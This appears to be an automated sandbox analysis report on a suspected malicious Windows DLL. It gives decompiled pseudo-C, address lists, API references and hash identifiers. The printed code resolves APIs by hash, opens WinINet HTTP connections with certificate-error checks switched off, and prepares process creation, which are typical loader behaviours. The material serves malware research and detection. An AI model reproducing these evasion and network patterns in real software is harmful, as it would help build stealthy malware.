								E6EB99090(_t344 + 0x88, _t332,  ==  ? 0x7e839a6 : 0x93fc68d6);
								_push(_t344 + 0x88);
								E6EBB9520(_t329);
								E6EBB9510(_t344 + 0x88);
							}
						} else {
							_t279 =  *0x6ebcb1b1; // 0x0
							_t170 = E6EBB9660(_t279);
							__eflags = _t170;
							if(_t170 != 0) {
								goto L51;
							}
						}
						_t128 =  *((intOrPtr*)(_t338 + 0x2c));
						__eflags = _t128 - 3;
						if(_t128 == 3) {
							__eflags =  *0x6ebcb1cc - 3;
							if( *0x6ebcb1cc == 3) {
								E6EBA8CC0(_t344 + 0x10c,  *((intOrPtr*)( *0x6ebcb1d0 + 8)));
							}
							_t227 = _t344 + 0x48;
							E6EBA8810(_t344 + 0x48, 0);
							_t132 = E6EBA9890(_t227, _t344 + 0x48, _t316, _t329, _t332, _t227, 0x6ebc9428,  *((intOrPtr*)(_t338 + 0x2c)));
							E6EBB0220(_t344 + 0x110,  *_t132, 0);
							E6EBA8CA0(_t227);
							L6EB98180(_t332);
						} else {
							__eflags = _t128 - 5;
							if(_t128 != 5) {
								__eflags = _t128 - 6;
								if(__eflags == 0) {
									_t256 = _t344 + 0xa4;
									 *_t256 = 0;
									 *((intOrPtr*)(_t256 + 4)) = 0;
									 *((intOrPtr*)(_t256 + 8)) = 0;
									 *((intOrPtr*)(_t256 + 0xc)) = 0;
									L6EBA5B60(_t226, _t256, _t329, _t332, __eflags);
									E6EB96740(_t344 + 0xa4);
									E6EBA1350(0x12);
									__eflags =  *(_t344 + 0xa8);
									if( *(_t344 + 0xa8) > 0) {
										_t229 = 0;
										__eflags = 0;
										do {
											_t147 = E6EBC2B00(_t344 + 0xa8, _t229);
											__eflags =  *((char*)(_t147 + 0x3c));
											if( *((char*)(_t147 + 0x3c)) == 0) {
												E6EB92A40(_t344 + 0x50, _t147);
												E6EBA8CA0(_t344 + 0x50);
											}
											_t229 = _t229 + 1;
											__eflags = _t229 -  *(_t344 + 0xa8);
										} while (_t229 <  *(_t344 + 0xa8));
									}
									E6EBC2970(_t226, _t344 + 0xa4, _t329);
									_t260 =  *(_t344 + 0xb0);
									__eflags =  *(_t344 + 0xb0);
									if( *(_t344 + 0xb0) != 0) {
										E6EB92A20(_t260, 1);
									}
								}
							} else {
								__eflags = _t226;
								if(_t226 == 0) {
									__eflags =  *0x6ebcb1cc - 1;
									if(__eflags <= 0) {
										L60:
										_t264 = _t344 + 0x18;
										 *_t264 = 0;
										 *((intOrPtr*)(_t264 + 4)) = 0;
										 *((intOrPtr*)(_t264 + 8)) = 0;
										 *((intOrPtr*)(_t264 + 0xc)) = 0;
										L6EBA5B60(_t226, _t264, _t329, _t332, __eflags);
										__eflags = ( *0x6ebcb029 & 0x000000ff) - 1;
										E6EB97DB0(_t344 + 0x18, 0 | ( *0x6ebcb029 & 0x000000ff) - 0x00000001 > 0x00000000);
										__eflags =  *0x6ebcb029 & 0x000000ff;
										if(( *0x6ebcb029 & 0x000000ff) != 0) {
											E6EBA1350(0x12);
											__eflags =  *(_t344 + 0x1c);
											if( *(_t344 + 0x1c) > 0) {
												_t230 = 0;
												__eflags = 0;
												do {
													_t157 = E6EBC2B00(_t344 + 0x1c, _t230);
													__eflags =  *((char*)(_t157 + 0x3c));
													if( *((char*)(_t157 + 0x3c)) == 0) {
														E6EB92A40(_t344 + 0x10, _t157);
														E6EBA8CA0(_t344 + 0x10);
													}
													_t230 = _t230 + 1;
													__eflags = _t230 -  *(_t344 + 0x1c);
												} while (_t230 <  *(_t344 + 0x1c));
											}
										}
										E6EBC2970(_t226, _t344 + 0x18, _t329);
										_t267 =  *(_t344 + 0x24);
										__eflags =  *(_t344 + 0x24);
										if( *(_t344 + 0x24) != 0) {
											E6EB92A20(_t267, 1);
										}
									} else {
										_t160 =  *0x6ebcb1d0; // 0x160fc90
										__eflags = ( *( *(_t160 + 4)) & 0x0000ffff) - 0x2d;
										if(__eflags != 0) {
											goto L60;
										}
									}
								}
							}
						}
						E6EBB8910(_t344 + 0x130, _t329, _t332);
						E6EBA8CA0(_t344 + 0x110);
						E6EBA8CA0(_t344 + 0x108);
						E6EBA7A70(_t344 + 0x128);
						__eflags = 0;
						return 0;
					} else {
						__eflags =  *0x6ebcb027 & 0x000000ff;
						if(( *0x6ebcb027 & 0x000000ff) == 0) {
							goto L43;
						} else {
							__eflags = _t226;
							if(_t226 != 0) {
								goto L43;
							} else {
								__eflags =  *((char*)(_t338 + 0xb)) - 0x20;
								_t327 =  ==  ? 0x7fe7dfa2 : 0xfd81b916;
								E6EB961B0(_t344 + 0x3c,  ==  ? 0x7fe7dfa2 : 0xfd81b916,  *((char*)(_t338 + 0xb)) - 0x20);
								E6EBA8810(_t344 + 0x18, 0x200);
								_t284 = E6EBA15C0(0xa1310f65, 0xc4d11e8a);
								__eflags = _t284;
								if(__eflags != 0) {
									_t197 =  *(_t344 + 0x18) >> 1;
									__eflags = _t197;
									_t327 =  *0x6ebcb1c4; // 0x6eb90000
									 *_t284(_t327,  *(_t344 + 0x18), _t197);
								}
								_push(0x80);
								_push(0);
								E6EBBA4E0(_t344 + 0x10, __eflags,  *((intOrPtr*)(_t344 + 0x20)), 1);
								E6EBBA520(_t344 + 8, _t327, _t344 + 0x1c, 0);
								__eflags =  *((char*)(_t344 + 0x10));
								if( *((char*)(_t344 + 0x10)) != 0) {
									E6EBBBE30(_t344 + 0xc, _t332);
								}
								__eflags = 0;
								E6EBA8CA0(_t344);
								_t334 = _t344 + 0x1a0;
								_t341 = _t344 + 0x2c;
								while(1) {
									E6EBA0B70(_t334, 0, 0x44);
									 *((intOrPtr*)(_t344 + 0x1ac)) = 0x44;
									E6EBA0B70(_t341, 0, 0x10);
									_t344 = _t344 + 0x18;
									E6EBA8810(_t344 + 0x4c, 0);
									_t189 = E6EBA96D0(E6EBA96D0(E6EBB0220(_t344 + 0x50,  *((intOrPtr*)(_t344 + 0x40)), 0), 0x20), 0x22);
									_t190 =  *0x6ebcb1d0; // 0x160fc90
									E6EBA96D0(E6EBB0220(_t189,  *_t190, 0), 0x22);
									_t193 = E6EBA15C0(0xa1310f65, 0x643f303c);
									__eflags = _t193;
									if(_t193 != 0) {
										break;
									}
									E6EBA8CA0(_t344 + 0x48);
								}
								_push(_t341);
								_push(_t334);
								_push(0);
								_push(0);
								_push(4);
								_push(0);
								_push(0);
								_push(0);
								_push( *((intOrPtr*)(_t344 + 0x68)));
								_push( *((intOrPtr*)(_t344 + 0x60)));
								asm("int3");
								return _t193;
							}
						}
					}
				} else {
					E6EBB8910(_t344 + 0x130, _t328, _t332);
					E6EBA8CA0(_t344 + 0x110);
					E6EBA8CA0(_t344 + 0x108);
					E6EBA7A70(_t344 + 0x128);
					__eflags = 0;
					return 0;
				}
			}

0x6eb955a8
0x6eb955b4
0x6eb955bb
0x6eb955c4
0x6eb955c4
0x6eb955bd
0x6eb955bd
0x6eb955bd
0x6eb955d2
0x6eb955e8
0x6eb955f4
0x6eb95601
0x6eb95603
0x6eb95608
0x00000000
0x6eb9560f
0x00000000
0x6eb9560f
0x6eb9560f
0x6eb95622
0x6eb9562e
0x6eb9562e
0x6eb95630
0x6eb95637
0x6eb95637
0x6eb9563a
0x00000000
0x00000000
0x6eb9563f
0x00000000
0x6eb95641
0x6eb95641
0x6eb9564b
0x00000000
0x6eb9564d
0x00000000
0x6eb9564d
0x6eb9564b
0x00000000
0x6eb9563f
0x6eb9564f
0x00000000
0x6eb9564f
0x6eb9560f
0x6eb9560f
0x6eb95652
0x6eb95652
0x6eb95656
0x6eb9569c
0x6eb9569e
0x6eb956ab
0x6eb956ad
0x6eb956b3
0x6eb956ba
0x6eb956c0
0x6eb956c5
0x6eb956c8
0x6eb956cb
0x6eb956ce
0x6eb956de
0x6eb956e3
0x6eb956e8
0x6eb956f7
0x6eb95700
0x6eb95705
0x6eb95707
0x6eb95724
0x6eb95729
0x6eb9572f
0x6eb9572f
0x6eb95738
0x6eb9573d
0x6eb9573d
0x6eb9573f
0x6eb9574b
0x6eb9574d
0x00000000
0x00000000
0x6eb95754
0x6eb95759
0x6eb9575a
0x6eb9575d
0x00000000
0x00000000
0x00000000
0x6eb9575d
0x6eb9575f
0x6eb95766
0x6eb95770
0x6eb95783
0x6eb9578a
0x6eb9579b
0x6eb9579b
0x6eb95709
0x6eb95709
0x6eb9570e
0x6eb95714
0x6eb95714
0x6eb9571d
0x6eb9571d
0x6eb957a6
0x6eb957a6
0x6eb956ce
0x6eb956ba
0x6eb956ad
0x6eb957b2
0x6eb957b5
0x6eb95b3c
0x6eb95b3c
0x6eb95b41
0x6eb95b43
0x6eb95b54
0x6eb95b54
0x6eb95b59
0x6eb95b5b
0x6eb95e33
0x6eb95e35
0x6eb95e3a
0x6eb95e3d
0x6eb95e3f
0x6eb95e47
0x6eb95e49
0x6eb95e41
0x6eb95e41
0x6eb95e41
0x6eb95e4e
0x6eb95e4e
0x6eb95b61
0x6eb95b6e
0x6eb95b71
0x6eb95e0b
0x6eb95e10
0x6eb95e1a
0x6eb95e21
0x6eb95e22
0x6eb95e29
0x6eb95b77
0x6eb95b86
0x6eb95b86
0x6eb95b45
0x6eb95b45
0x6eb95b4b
0x6eb95b50
0x6eb95b52
0x00000000
0x00000000
0x6eb95b52
0x6eb95b92
0x6eb95b97
0x6eb95b99
0x6eb95baa
0x6eb95baa
0x6eb95baf
0x6eb95bb1
0x6eb95eb0
0x6eb95eb2
0x6eb95eb7
0x6eb95eba
0x6eb95ebc
0x6eb95ec4
0x6eb95ec6
0x6eb95ebe
0x6eb95ebe
0x6eb95ebe
0x6eb95ecb
0x6eb95ecb
0x6eb95bb7
0x6eb95bc4
0x6eb95bc7
0x6eb95e62
0x6eb95e68
0x6eb95e73
0x6eb95e74
0x6eb95e7d
0x6eb95e84
0x6eb95e89
0x6eb95e8b
0x6eb95e93
0x6eb95e9e
0x6eb95ea6
0x6eb95ea6
0x6eb95bcd
0x6eb95bcf
0x6eb95be8
0x6eb95bf1
0x6eb95bf5
0x6eb95bf7
0x6eb95c05
0x6eb95c06
0x6eb95c12
0x6eb95c12
0x6eb95b9b
0x6eb95b9b
0x6eb95ba1
0x6eb95ba6
0x6eb95ba8
0x00000000
0x00000000
0x6eb95ba8
0x6eb95c1e
0x6eb95c21
0x6eb95c24
0x6eb95d87
0x6eb95d8e
0x6eb95ee4
0x6eb95ee4
0x6eb95d94
0x6eb95d9c
0x6eb95daa
0x6eb95dbd
0x6eb95dc4
0x6eb95dc9
0x6eb95c2a
0x6eb95c2a
0x6eb95c2d
0x6eb95cf0
0x6eb95cf3
0x6eb95cfb
0x6eb95d02
0x6eb95d04
0x6eb95d07
0x6eb95d0a
0x6eb95d0d
0x6eb95d1b
0x6eb95d25
0x6eb95d2a
0x6eb95d32
0x6eb95d34
0x6eb95d34
0x6eb95d36
0x6eb95d3e
0x6eb95d43
0x6eb95d47
0x6eb95d4f
0x6eb95d58
0x6eb95d58
0x6eb95d5d
0x6eb95d5e
0x6eb95d5e
0x6eb95d36
0x6eb95d6e
0x6eb95d73
0x6eb95d7a
0x6eb95d7c
0x6eb95d80
0x6eb95d80
0x6eb95d7c
0x6eb95c33
0x6eb95c33
0x6eb95c35
0x6eb95c3b
0x6eb95c42
0x6eb95c58
0x6eb95c5a
0x6eb95c5e
0x6eb95c60
0x6eb95c63
0x6eb95c66
0x6eb95c69
0x6eb95c77
0x6eb95c81
0x6eb95c8d
0x6eb95c8f
0x6eb95c96
0x6eb95c9b
0x6eb95ca0
0x6eb95ca2
0x6eb95ca2
0x6eb95ca4
0x6eb95ca9
0x6eb95cae
0x6eb95cb2
0x6eb95cba
0x6eb95cc3
0x6eb95cc3
0x6eb95cc8
0x6eb95cc9
0x6eb95cc9
0x6eb95ca4
0x6eb95ca0
0x6eb95cd3
0x6eb95cd8
0x6eb95cdc
0x6eb95cde
0x6eb95ce6
0x6eb95ce6
0x6eb95c44
0x6eb95c44
0x6eb95c4f
0x6eb95c52
0x00000000
0x00000000
0x6eb95c52
0x6eb95c42
0x6eb95c35
0x6eb95c2d
0x6eb95dd5
0x6eb95de1
0x6eb95ded
0x6eb95df9
0x6eb95dfe
0x6eb95e0a
0x6eb957bb
0x6eb957c2
0x6eb957c4
0x00000000
0x6eb957ca
0x6eb957ca
0x6eb957cc
0x00000000
0x6eb957d2
0x6eb957dc
0x6eb957e4
0x6eb957e7
0x6eb957f5
0x6eb95809
0x6eb9580b
0x6eb9580d
0x6eb95813
0x6eb95813
0x6eb9581a
0x6eb95821
0x6eb95821
0x6eb95823
0x6eb95828
0x6eb95834
0x6eb95844
0x6eb95849
0x6eb9584e
0x6eb95854
0x6eb95854
0x6eb95859
0x6eb9585e
0x6eb95863
0x6eb9586a
0x6eb9586e
0x6eb95873
0x6eb95878
0x6eb95888
0x6eb9588d
0x6eb95896
0x6eb958b7
0x6eb958be
0x6eb958d0
0x6eb958df
0x6eb958e4
0x6eb958e6
0x00000000
0x00000000
0x6eb95996
0x6eb95996
0x6eb958ec
0x6eb958ed
0x6eb958ee
0x6eb958ef
0x6eb958f0
0x6eb958f2
0x6eb958f3
0x6eb958f4
0x6eb958f5
0x6eb958f9
0x6eb958fd
0x6eb958fe
0x6eb958fe
0x6eb957cc
0x6eb957c4
0x6eb95658
0x6eb9565f
0x6eb9566b
0x6eb95677
0x6eb95683
0x6eb95688
0x6eb95694
0x6eb95694

APIs

LoadLibraryW.KERNELBASE(00000000,00000001,A1310F65,F3AF54A7,A1310F65,F3AF54A7), ref: 6EB9562E

Strings

)V, xrefs: 6EB955D2

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LibraryLoad
String ID: )V
API String ID: 1029625771-578813878
Opcode ID: e3d49e6b62160b9fda8742973a7cc3359e0c2c325903239925bd4cca41d05df5
Instruction ID: 6f5f16b0799825d351630b03812b6d8eaa2ae10eec85fb3de7d1e3b9eeddf765
Opcode Fuzzy Hash: e3d49e6b62160b9fda8742973a7cc3359e0c2c325903239925bd4cca41d05df5
Instruction Fuzzy Hash: 2601963156E2D08FC7319ED9C8A07DEBBEAEF86305F400C39C58656091EF709945DB66

Uniqueness

Uniqueness Score: -1.00%

Function 6EBC3370, Relevance: 3.4, APIs: 2, Instructions: 366
networkCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6EBC3370(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t102;
				signed int _t109;
				signed int _t118;
				signed int _t119;
				intOrPtr* _t128;
				signed int _t129;
				intOrPtr _t151;
				signed int _t153;
				signed int _t154;
				intOrPtr _t155;
				void* _t158;
				WCHAR* _t160;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				void* _t164;
				signed int _t165;
				WCHAR* _t166;
				void* _t167;
				void* _t169;
				short _t172;
				signed int _t174;
				signed int _t177;
				signed int _t179;
				signed int _t180;
				signed int _t181;
				signed int _t209;
				signed int _t226;
				signed int _t228;
				signed int _t229;
				intOrPtr _t230;
				signed int _t240;
				void* _t241;
				WCHAR* _t244;
				intOrPtr* _t249;
				void* _t253;
				short* _t254;

				_t254 = _t253 - 0x60;
				_t244 = 0;
				_t249 = __ecx;
				 *_t254 = 0;
				E6EBB06A0( &(_t254[4]), __ecx, 0);
				E6EBB06A0( &(_t254[8]), __ecx, 0);
				E6EBB06A0( &(_t254[0xc]), __ecx, 0);
				E6EBB06A0( &(_t254[0x10]), __ecx, 0);
				E6EBC4D50( &(_t254[2]),  *(_t254[0x3a]));
				_t172 =  *_t254;
				E6EBA8810( &(_t254[0x1e]), 0);
				E6EBA87A0( &(_t254[0x20]));
				E6EBA87A0( &(_t254[0x24]));
				_t102 = E6EBB0220( &(_t254[0x20]), _t254[0x26], 0);
				E6EBA87A0( &(_t254[0x28]));
				E6EBB0220(_t102, _t254[0x2a], 0);
				E6EBA8CA0( &(_t254[0x28]));
				E6EBA8CA0( &(_t254[0x24]));
				if(E6EBB1000( &(_t254[2])) == 0) {
					_t242 = _t254[2];
					_t169 = E6EBBD620(_t242, E6EBB6040(_t254[2], 0x7fffffff));
					if(_t169 != 0x97780db2) {
						__eflags = _t169 - 0x3ef665a6;
						if(_t169 == 0x3ef665a6) {
							 *(_t249 + 0x18) = 1;
						}
					} else {
						 *(_t249 + 0x18) = 0;
					}
				}
				if(E6EBA15C0(0xd27f045a, 0xe214cde) == 0) {
					__eflags =  *((char*)(_t249 + 0xc));
					if( *((char*)(_t249 + 0xc)) == 0) {
						L71:
						 *((char*)(_t249 + 0xc)) = 1;
						 *(_t249 + 8) = 0;
						goto L17;
					} else {
						_t180 =  *(_t249 + 8);
						__eflags = _t180;
						if(_t180 == 0) {
							L67:
							_t162 = 1;
						} else {
							__eflags = _t180 - 0xffffffff;
							if(_t180 == 0xffffffff) {
								goto L67;
							} else {
								_t162 = _t244;
							}
						}
						__eflags = _t162;
						if(_t162 != 0) {
							goto L71;
						} else {
							_t163 = E6EBA15C0(0xd27f045a, 0xdda3415f);
							__eflags = _t163;
							if(_t163 == 0) {
								goto L71;
							} else {
								_push(_t180);
								asm("int3");
								return _t163;
							}
						}
					}
				} else {
					_t164 =  *0x6ebcb248; // 0xe3a10e7e
					_t165 = InternetConnectW(_t164, _t254[0x2c], _t172, _t244, _t244, 3, _t244, _t244); // executed
					_t181 = _t165;
					if( *((char*)(_t249 + 0xc)) == 0) {
						L14:
						 *((char*)(_t249 + 0xc)) = 1;
						 *(_t249 + 8) = _t181;
						__eflags = _t181;
						if(_t181 == 0) {
							L17:
							_t109 = 1;
						} else {
							__eflags = _t181 - 0xffffffff;
							if(_t181 == 0xffffffff) {
								goto L17;
							} else {
								_t109 = _t244;
							}
						}
						__eflags = _t109;
						if(_t109 != 0) {
							 *_t249 = E6EBA7F00();
							E6EBA8CA0( &(_t254[0x20]));
							E6EBA8CA0( &(_t254[0x1c]));
							E6EBB0B10( &(_t254[0xe]));
							E6EBB0B10( &(_t254[0xa]));
							E6EBB0B10( &(_t254[6]));
							E6EBB0B10( &(_t254[2]));
							__eflags = 0;
							return 0;
						} else {
							__eflags =  *(_t249 + 0x18) - 1;
							if( *(_t249 + 0x18) == 1) {
								_t254[0x2c] = 0x80a03200;
							} else {
								_t254[0x2c] = 0x80203200;
							}
							_t118 = E6EBA15C0(0xd27f045a, 0x8813e141);
							__eflags = _t118;
							if(_t118 == 0) {
								__eflags =  *((char*)(_t249 + 0x14));
								if( *((char*)(_t249 + 0x14)) == 0) {
									L62:
									 *((char*)(_t249 + 0x14)) = 1;
									_t174 = _t244;
									 *(_t249 + 0x10) = 0;
									goto L34;
								} else {
									_t177 =  *(_t249 + 0x10);
									__eflags = _t177;
									if(_t177 == 0) {
										L58:
										_t153 = 1;
									} else {
										__eflags = _t177 - 0xffffffff;
										if(_t177 == 0xffffffff) {
											goto L58;
										} else {
											_t153 = _t244;
										}
									}
									__eflags = _t153;
									if(_t153 != 0) {
										goto L62;
									} else {
										_t154 = E6EBA15C0(0xd27f045a, 0xdda3415f);
										__eflags = _t154;
										if(_t154 == 0) {
											goto L62;
										} else {
											_push(_t177);
											asm("int3");
											return _t154;
										}
									}
								}
							} else {
								_t155 =  *((intOrPtr*)(_t249 + 0x1c));
								__eflags = _t155 - 1;
								_t156 =  !=  ? _t244 : _t155;
								E6EBA7B30(_t155 - 1,  &(_t254[0x18]), 0x6ebcaa40,  !=  ? _t244 : _t155);
								_t158 = HttpOpenRequestW( *(_t249 + 8), _t254[0x24], _t254[0x26], _t244, _t244, _t244, _t254[0x2e], _t244); // executed
								_t179 = _t158;
								__eflags =  *((char*)(_t249 + 0x14));
								if( *((char*)(_t249 + 0x14)) == 0) {
									L31:
									 *(_t249 + 0x10) = _t179;
									 *((char*)(_t249 + 0x14)) = 1;
									E6EBA8CA0( &(_t254[0x18]));
									_t174 =  *(_t249 + 0x10);
									__eflags = _t174;
									if(_t174 == 0) {
										L34:
										_t119 = 1;
									} else {
										__eflags = _t174 - 0xffffffff;
										if(_t174 == 0xffffffff) {
											goto L34;
										} else {
											_t119 = _t244;
										}
									}
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t249 = E6EBA7F00();
										E6EBA8CA0( &(_t254[0x20]));
										E6EBA8CA0( &(_t254[0x1c]));
										E6EBB0B10( &(_t254[0xe]));
										E6EBB0B10( &(_t254[0xa]));
										E6EBB0B10( &(_t254[6]));
										E6EBB0B10( &(_t254[2]));
										__eflags = 0;
										return 0;
									} else {
										_t128 =  *0x6ebcb244; // 0xb7b294eb
										__eflags = _t128 - 0xb7b294eb;
										if(_t128 != 0xb7b294eb) {
											E6EBC2760( &(_t254[0x18]),  *_t128, 0xffffffff);
											_t151 =  *0x6ebcb27c; // 0x0
											while(1) {
												__eflags =  *(_t151 + _t244 * 8);
												if( *(_t151 + _t244 * 8) == 0) {
													break;
												}
												_t244 =  &(_t244[0]);
												__eflags = _t244 - 0x1000;
												if(_t244 < 0x1000) {
													continue;
												}
												L40:
												E6EBC2810(_t151,  &(_t254[0x14]));
												goto L41;
											}
											 *(_t151 + _t244 * 8) = _t174;
											_t151 = E6EBA10E0(0);
											_t230 =  *0x6ebcb27c; // 0x0
											 *((intOrPtr*)(_t230 + 4 + _t244 * 8)) = _t151;
											goto L40;
										}
										L41:
										_t129 =  *(_t249 + 0x40);
										__eflags = _t129;
										if(_t129 != 0) {
											_t254[0x12] = _t129 * 0x3e8;
											_t228 = E6EBA15C0(0xd27f045a, 0x863455c4);
											__eflags = _t228;
											if(_t228 != 0) {
												 *_t228( *(_t249 + 0x10), 5,  &(_t254[0x12]), 4);
											}
											_t229 = E6EBA15C0(0xd27f045a, 0x863455c4);
											__eflags = _t229;
											if(_t229 != 0) {
												 *_t229( *(_t249 + 0x10), 6,  &(_t254[0x12]), 4);
											}
										}
										_t254[0x2e] = 4;
										_t209 = E6EBA15C0(0xd27f045a, 0x9217c72);
										__eflags = _t209;
										if(_t209 != 0) {
											 *_t209( *(_t249 + 0x10), 0x1f,  &(_t254[0x2c]),  &(_t254[0x2e]));
										}
										_t254[0x2c] = _t254[0x2c] | 0x00003380;
										_t226 = E6EBA15C0(0xd27f045a, 0x863455c4);
										__eflags = _t226;
										if(_t226 != 0) {
											 *_t226( *(_t249 + 0x10), 0x1f,  &(_t254[0x2c]), _t254[0x2e]);
										}
										E6EBA8CA0( &(_t254[0x20]));
										E6EBA8CA0( &(_t254[0x1c]));
										E6EBB0B10( &(_t254[0xe]));
										E6EBB0B10( &(_t254[0xa]));
										E6EBB0B10( &(_t254[6]));
										E6EBB0B10( &(_t254[2]));
										return 1;
									}
								} else {
									_t240 =  *(_t249 + 0x10);
									__eflags = _t240;
									if(_t240 == 0) {
										L27:
										_t160 = 1;
									} else {
										__eflags = _t240 - 0xffffffff;
										if(_t240 == 0xffffffff) {
											goto L27;
										} else {
											_t160 = _t244;
										}
									}
									__eflags = _t160;
									if(_t160 != 0) {
										goto L31;
									} else {
										_t161 = E6EBA15C0(0xd27f045a, 0xdda3415f);
										__eflags = _t161;
										if(_t161 == 0) {
											goto L31;
										} else {
											_push(_t240);
											asm("int3");
											return _t161;
										}
									}
								}
							}
						}
					} else {
						_t241 =  *(_t249 + 8);
						if(_t241 == 0 || _t241 == 0xffffffff) {
							_t166 = 1;
						} else {
							_t166 = _t244;
						}
						if(_t166 != 0) {
							goto L14;
						} else {
							_t167 = E6EBA15C0(0xd27f045a, 0xdda3415f);
							if(_t167 == 0) {
								goto L14;
							} else {
								_push(_t241);
								asm("int3");
								return _t167;
							}
						}
					}
				}
			}

0x6ebc3374
0x6ebc3377
0x6ebc337d
0x6ebc337f
0x6ebc3389
0x6ebc3394
0x6ebc339f
0x6ebc33aa
0x6ebc33b4
0x6ebc33b9
0x6ebc33c2
0x6ebc33cf
0x6ebc33dc
0x6ebc33eb
0x6ebc33fa
0x6ebc3407
0x6ebc3410
0x6ebc3419
0x6ebc3429
0x6ebc342b
0x6ebc343f
0x6ebc3449
0x6ebc3454
0x6ebc3459
0x6ebc345b
0x6ebc345b
0x6ebc344b
0x6ebc344b
0x6ebc344b
0x6ebc3449
0x6ebc3475
0x6ebc37cf
0x6ebc37d3
0x6ebc3804
0x6ebc3804
0x6ebc3808
0x00000000
0x6ebc37d5
0x6ebc37d5
0x6ebc37d8
0x6ebc37da
0x6ebc37e5
0x6ebc37e5
0x6ebc37dc
0x6ebc37dc
0x6ebc37df
0x00000000
0x6ebc37e1
0x6ebc37e1
0x6ebc37e1
0x6ebc37df
0x6ebc37ea
0x6ebc37ec
0x00000000
0x6ebc37ee
0x6ebc37f8
0x6ebc37fd
0x6ebc37ff
0x00000000
0x6ebc3801
0x6ebc3801
0x6ebc3802
0x6ebc3803
0x6ebc3803
0x6ebc37ff
0x6ebc37ec
0x6ebc347b
0x6ebc3486
0x6ebc348c
0x6ebc348e
0x6ebc3494
0x6ebc34c5
0x6ebc34c5
0x6ebc34c9
0x6ebc34cc
0x6ebc34ce
0x6ebc34d9
0x6ebc34d9
0x6ebc34d0
0x6ebc34d0
0x6ebc34d3
0x00000000
0x6ebc34d5
0x6ebc34d5
0x6ebc34d5
0x6ebc34d3
0x6ebc34de
0x6ebc34e0
0x6ebc36e0
0x6ebc36e7
0x6ebc36f0
0x6ebc36f9
0x6ebc3702
0x6ebc370b
0x6ebc3714
0x6ebc3719
0x6ebc3722
0x6ebc34e6
0x6ebc34e6
0x6ebc34ea
0x6ebc34f6
0x6ebc34ec
0x6ebc34ec
0x6ebc34ec
0x6ebc3508
0x6ebc350f
0x6ebc3511
0x6ebc3788
0x6ebc378c
0x6ebc37bd
0x6ebc37bd
0x6ebc37c1
0x6ebc37c3
0x00000000
0x6ebc378e
0x6ebc378e
0x6ebc3791
0x6ebc3793
0x6ebc379e
0x6ebc379e
0x6ebc3795
0x6ebc3795
0x6ebc3798
0x00000000
0x6ebc379a
0x6ebc379a
0x6ebc379a
0x6ebc3798
0x6ebc37a3
0x6ebc37a5
0x00000000
0x6ebc37a7
0x6ebc37b1
0x6ebc37b6
0x6ebc37b8
0x00000000
0x6ebc37ba
0x6ebc37ba
0x6ebc37bb
0x6ebc37bc
0x6ebc37bc
0x6ebc37b8
0x6ebc37a5
0x6ebc3517
0x6ebc3517
0x6ebc351a
0x6ebc3524
0x6ebc352e
0x6ebc3544
0x6ebc3546
0x6ebc3548
0x6ebc354c
0x6ebc357d
0x6ebc357d
0x6ebc3584
0x6ebc3588
0x6ebc358d
0x6ebc3590
0x6ebc3592
0x6ebc359d
0x6ebc359d
0x6ebc3594
0x6ebc3594
0x6ebc3597
0x00000000
0x6ebc3599
0x6ebc3599
0x6ebc3599
0x6ebc3597
0x6ebc35a2
0x6ebc35a4
0x6ebc3743
0x6ebc374a
0x6ebc3753
0x6ebc375c
0x6ebc3765
0x6ebc376e
0x6ebc3777
0x6ebc377c
0x6ebc3785
0x6ebc35aa
0x6ebc35aa
0x6ebc35af
0x6ebc35b4
0x6ebc35be
0x6ebc35c3
0x6ebc35c8
0x6ebc35c8
0x6ebc35cc
0x00000000
0x00000000
0x6ebc35d2
0x6ebc35d3
0x6ebc35d9
0x00000000
0x00000000
0x6ebc35db
0x6ebc35df
0x00000000
0x6ebc35df
0x6ebc3727
0x6ebc372a
0x6ebc372f
0x6ebc3735
0x00000000
0x6ebc3735
0x6ebc35e4
0x6ebc35e4
0x6ebc35e7
0x6ebc35e9
0x6ebc35f1
0x6ebc3604
0x6ebc3606
0x6ebc3608
0x6ebc3616
0x6ebc3616
0x6ebc3627
0x6ebc3629
0x6ebc362b
0x6ebc3639
0x6ebc3639
0x6ebc362b
0x6ebc363b
0x6ebc3652
0x6ebc3654
0x6ebc3656
0x6ebc3667
0x6ebc3667
0x6ebc3669
0x6ebc3680
0x6ebc3682
0x6ebc3684
0x6ebc3694
0x6ebc3694
0x6ebc369a
0x6ebc36a3
0x6ebc36ac
0x6ebc36b5
0x6ebc36be
0x6ebc36c7
0x6ebc36d8
0x6ebc36d8
0x6ebc354e
0x6ebc354e
0x6ebc3551
0x6ebc3553
0x6ebc355e
0x6ebc355e
0x6ebc3555
0x6ebc3555
0x6ebc3558
0x00000000
0x6ebc355a
0x6ebc355a
0x6ebc355a
0x6ebc3558
0x6ebc3563
0x6ebc3565
0x00000000
0x6ebc3567
0x6ebc3571
0x6ebc3576
0x6ebc3578
0x00000000
0x6ebc357a
0x6ebc357a
0x6ebc357b
0x6ebc357c
0x6ebc357c
0x6ebc3578
0x6ebc3565
0x6ebc354c
0x6ebc3511
0x6ebc3496
0x6ebc3496
0x6ebc349b
0x6ebc34a6
0x6ebc34a2
0x6ebc34a2
0x6ebc34a2
0x6ebc34ad
0x00000000
0x6ebc34af
0x6ebc34b9
0x6ebc34c0
0x00000000
0x6ebc34c2
0x6ebc34c2
0x6ebc34c3
0x6ebc34c4
0x6ebc34c4
0x6ebc34c0
0x6ebc34ad
0x6ebc3494

APIs

InternetConnectW.WININET(E3A10E7E,?,00000000,00000000,00000000,00000003,00000000,00000000,D27F045A,0E214CDE,?,00000000,?,00000000,00000000,00000000), ref: 6EBC348C
HttpOpenRequestW.WININET(A1310F65,?,?,00000000,00000000,00000000,?,00000000,?,6EBCAA40,A1310F65,D27F045A,8813E141), ref: 6EBC3544

Part of subcall function 6EBA10E0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6EBA1124

